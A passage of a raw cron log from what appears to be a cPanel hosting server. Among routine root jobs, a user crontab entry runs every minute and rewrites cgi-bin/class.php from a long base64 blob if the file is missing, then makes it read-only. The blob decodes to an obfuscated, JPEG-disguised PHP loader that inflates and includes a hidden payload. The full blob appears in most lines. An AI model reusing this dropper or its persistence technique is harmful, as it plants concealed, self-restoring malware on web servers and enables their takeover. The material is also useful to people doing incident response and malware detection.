uUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 11:34:01 server CROND[390]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 11:35:01 server CROND[449]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 11:35:01 server CROND[451]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 11:35:01 server CROND[453]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 11:35:01 server CROND[455]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  7 11:35:01 server CROND[454]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 11:36:01 server CROND[644]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 11:37:01 server CROND[722]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 11:38:01 server CROND[779]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 11:39:01 server CROND[830]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  7 11:39:01 server CROND[831]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 11:40:01 server CROND[897]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 11:40:01 server CROND[898]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 11:40:01 server CROND[899]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 11:40:01 server CROND[900]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 11:41:01 server CROND[1006]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 11:42:01 server CROND[1161]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 11:42:01 server CROND[1160]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 11:43:01 server CROND[1216]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 11:44:01 server CROND[1297]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 11:45:01 server CROND[1367]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 11:45:01 server CROND[1368]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 11:45:01 server CROND[1369]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 11:46:01 server CROND[1498]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 11:47:01 server CROND[1657]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0K